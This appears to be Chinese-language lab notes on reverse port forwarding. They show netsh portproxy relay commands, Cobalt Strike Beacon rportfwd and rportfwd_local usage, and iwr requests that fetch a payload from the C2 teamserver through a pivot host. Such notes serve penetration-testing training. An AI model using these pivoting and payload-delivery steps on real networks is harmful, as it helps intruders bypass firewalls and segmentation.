端口转发
逆向端口转发可以使一台主机将传入的数据重定向到特定的IP和端口。这可以使得主机绕过防火墙以及其他的网络隔离限制,与原本不能通信的节点通信。
举个例子,A与B能互相通信,B与C能互相通信,但A与C不能
逆向端口转发可以使B作为中继,让A与C通过B来完成通信
主要有两种方法可以帮助我们实现逆向端口转发
netsh与C2框架自带的逆向端口转发功能
示意图
编写一个powershell脚本来测试连通
这个脚本绑定了4444端口,如果有任何外来通信连接到该端口,那么会输出消息
在cyberbotic.io的dc-1主机上试图连接subsidiary.external的主机,使用Test-NetConnection测试连通性,目前是无法连通
在中继主机dc-2上,使用netsh工具创建一个v4tov4代理:netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.14.55 connectport=4444 protocol=tcp
执行后不会有任何输出,但可以通过命令:netsh interface portproxy show v4tov4来确认添加的代理
接着,在dc-1主机上尝试连接中继主机dc-2的4444端口,也就是设置了代理的端口,我们会发现ad主机上显示有客户端进行了连接
因此,通过netsh设置v4tov4的代理,我们能让原本不能互相通信的subidiary.external与cyberbotic.io通过dev.cyberbotic.io中继来互相通信了
移除v4tov4代理可以用如下命令:netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
需要管理员特权,且是套接字之间的连接,不适用于网络设备
接下来我们来看Beacon交互中的rportfwd命令。我们知道,载荷是可以通过TS的Web进行发放的,如果目标主机不能直接访问到TS或者TS的Web端口,我们可以使用rportfwd命令来实现逆向端口转发
举个例子
TS:80 <=> Beacon1:8080 <=> Beacon2
Beacon1可以与TS互相通信,Beacon2无法连接与TS的80端口互相通信,那么我们可以在Beacon1中输入命令:rportfwd 8080 TS.IP 80
在dc-2主机上访问TS使用Web部署的载荷:iwr http:// 10.10.5.120/a
结果是无法连通。我们在WKSTN-1的Beacon中执行rportfwd 8080 10.10.5.120 80,因为WKSTN-1既可以与TS互相连通,也可以与dc-2互相连通。这样dc-2的请求可以通过WKSTN-1的8080端口转发到TS的80端口,反之亦然。
在dc-2上访问wkstn-1的8080端口:iwr http://10.10.17.231:8080/a
这次,我们能在TS的Web log中看到dc-2的访问记录了
如果要停止,使用命令:rportfwd stop 8080
值得注意的是
1:Beacon的逆向端口代理总是将数据隧道至TS,以及使TS将数据送到目标。不应该被用于中继单独主机的流量
2:数据被隧道至Beacon的C2数据,而不是独立的套接字
3:当端口数值高的话,不需要管理员特权
rportfwd_local类似于rportfwd,区别是该命令将数据隧道至运行CS客户端的主机,而不是TS。如果我们想用Kali上的工具执行任务,会很方便
我们可以在Kali主机上用Python开启一个不同于80端口的Web服务器,以此来验证rportfwd_local与rportfw的不同
Netsh
rportfwd